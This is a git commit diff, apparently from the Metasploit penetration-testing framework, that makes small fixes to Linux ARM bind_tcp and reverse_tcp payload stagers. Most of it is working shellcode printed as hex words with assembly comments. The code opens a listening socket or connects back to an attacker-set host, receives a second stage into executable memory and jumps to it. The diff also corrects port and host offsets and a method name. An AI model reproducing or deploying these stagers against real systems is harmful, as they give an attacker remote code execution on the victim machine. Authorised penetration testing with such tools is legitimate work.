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jvazquez-r7
committed
Add small fixes for stagers
1 parent 2c0f0f5 commit 52aae8e

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2 files changed

+21
-21
lines changed

2 files changed

+21
-21
lines changed

modules/payloads/stagers/linux/armle/bind_tcp.rb

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -39,14 +39,14 @@ def initialize(info = {})
3939
},
4040
'Payload' =>
4141
[
42-
0xe59f70d4, # ldr r7, [pc, #212] ; 8130 <last+0x14>
42+
0xe59f70d4, # ldr r7, [pc, #212]
4343
0xe3a00002, # mov r0, #2
4444
0xe3a01001, # mov r1, #1
4545
0xe3a02006, # mov r2, #6
4646
0xef000000, # svc 0x00000000
4747
0xe1a0c000, # mov ip, r0
4848
0xe2877001, # add r7, r7, #1
49-
0xe28f10b0, # add r1, pc, #176 ; 0xb0
49+
0xe28f10b0, # add r1, pc, #176
5050
0xe3a02010, # mov r2, #16
5151
0xef000000, # svc 0x00000000
5252
0xe2877002, # add r7, r7, #2
@@ -65,31 +65,31 @@ def initialize(info = {})
6565
0xe3a03000, # mov r3, #0
6666
0xef000000, # svc 0x00000000
6767
0xe59d1000, # ldr r1, [sp]
68-
0xe59f3070, # ldr r3, [pc, #112] ; 8134 <last+0x18>
68+
0xe59f3070, # ldr r3, [pc, #112]
6969
0xe0011003, # and r1, r1, r3
7070
0xe3a02001, # mov r2, #1
7171
0xe1a02602, # lsl r2, r2, #12
7272
0xe0811002, # add r1, r1, r2
73-
0xe3a070c0, # mov r7, #192 ; 0xc0
73+
0xe3a070c0, # mov r7, #192
7474
0xe3e00000, # mvn r0, #0
7575
0xe3a02007, # mov r2, #7
76-
0xe59f3054, # ldr r3, [pc, #84] ; 8138 <last+0x1c>
76+
0xe59f3054, # ldr r3, [pc, #84]
7777
0xe1a04000, # mov r4, r0
7878
0xe3a05000, # mov r5, #0
7979
0xef000000, # svc 0x00000000
80-
0xe2877063, # add r7, r7, #99 ; 0x63
80+
0xe2877063, # add r7, r7, #99
8181
0xe1a01000, # mov r1, r0
8282
0xe1a0000c, # mov r0, ip
8383
0xe3a03000, # mov r3, #0
8484
0xe59d2000, # ldr r2, [sp]
85-
0xe2422ffa, # sub r2, r2, #1000 ; 0x3e8
85+
0xe2422ffa, # sub r2, r2, #1000
8686
0xe58d2000, # str r2, [sp]
8787
0xe3520000, # cmp r2, #0
8888
0xda000002, # ble 811c <last>
89-
0xe3a02ffa, # mov r2, #1000 ; 0x3e8
89+
0xe3a02ffa, # mov r2, #1000
9090
0xef000000, # svc 0x00000000
9191
0xeafffff7, # b 80fc <loop>
92-
0xe2822ffa, # add r2, r2, #1000 ; 0x3e8
92+
0xe2822ffa, # add r2, r2, #1000
9393
0xef000000, # svc 0x00000000
9494
0xe1a0f001, # mov pc, r1
9595
0x5c110002, # .word 0x5c110002

modules/payloads/stagers/linux/armle/reverse_tcp.rb

Lines changed: 12 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -35,19 +35,19 @@ def initialize(info = {})
3535
{
3636
'Offsets' =>
3737
{
38-
'LPORT' => [ 194, 'n' ],
39-
'LHOST' => [ 196, 'ADDR' ],
38+
'LPORT' => [ 182, 'n' ],
39+
'LHOST' => [ 184, 'ADDR' ],
4040
},
4141
'Payload' =>
4242
[
43-
0xe59f70b4, # ldr r7, [pc, #180] ; 8110 <last+0x14>
43+
0xe59f70b4, # ldr r7, [pc, #180]
4444
0xe3a00002, # mov r0, #2
4545
0xe3a01001, # mov r1, #1
4646
0xe3a02006, # mov r2, #6
4747
0xef000000, # svc 0x00000000
4848
0xe1a0c000, # mov ip, r0
4949
0xe2877002, # add r7, r7, #2
50-
0xe28f1090, # add r1, pc, #144 ; 0x90
50+
0xe28f1090, # add r1, pc, #144
5151
0xe3a02010, # mov r2, #16
5252
0xef000000, # svc 0x00000000
5353
0xe1a0000c, # mov r0, ip
@@ -58,31 +58,31 @@ def initialize(info = {})
5858
0xe3a03000, # mov r3, #0
5959
0xef000000, # svc 0x00000000
6060
0xe59d1000, # ldr r1, [sp]
61-
0xe59f3070, # ldr r3, [pc, #112] ; 8114 <last+0x18>
61+
0xe59f3070, # ldr r3, [pc, #112]
6262
0xe0011003, # and r1, r1, r3
6363
0xe3a02001, # mov r2, #1
6464
0xe1a02602, # lsl r2, r2, #12
6565
0xe0811002, # add r1, r1, r2
66-
0xe3a070c0, # mov r7, #192 ; 0xc0
66+
0xe3a070c0, # mov r7, #192
6767
0xe3e00000, # mvn r0, #0
6868
0xe3a02007, # mov r2, #7
69-
0xe59f3054, # ldr r3, [pc, #84] ; 8118 <last+0x1c>
69+
0xe59f3054, # ldr r3, [pc, #84]
7070
0xe1a04000, # mov r4, r0
7171
0xe3a05000, # mov r5, #0
7272
0xef000000, # svc 0x00000000
73-
0xe2877063, # add r7, r7, #99 ; 0x63
73+
0xe2877063, # add r7, r7, #99
7474
0xe1a01000, # mov r1, r0
7575
0xe1a0000c, # mov r0, ip
7676
0xe3a03000, # mov r3, #0
7777
0xe59d2000, # ldr r2, [sp]
78-
0xe2422ffa, # sub r2, r2, #1000 ; 0x3e8
78+
0xe2422ffa, # sub r2, r2, #1000
7979
0xe58d2000, # str r2, [sp]
8080
0xe3520000, # cmp r2, #0
8181
0xda000002, # ble 80fc <last>
82-
0xe3a02ffa, # mov r2, #1000 ; 0x3e8
82+
0xe3a02ffa, # mov r2, #1000
8383
0xef000000, # svc 0x00000000
8484
0xeafffff7, # b 80dc <loop>
85-
0xe2822ffa, # add r2, r2, #1000 ; 0x3e8
85+
0xe2822ffa, # add r2, r2, #1000
8686
0xef000000, # svc 0x00000000
8787
0xe1a0f001, # mov pc, r1
8888
0x5c110002, # .word 0x5c110002
@@ -96,7 +96,7 @@ def initialize(info = {})
9696
))
9797
end
9898

99-
def handle_i7 termediate_stage(conn, payload)
99+
def handle_intermediate_stage(conn, payload)
100100

101101
print_status("Transmitting stage length value...(#{payload.length} bytes)")
102102

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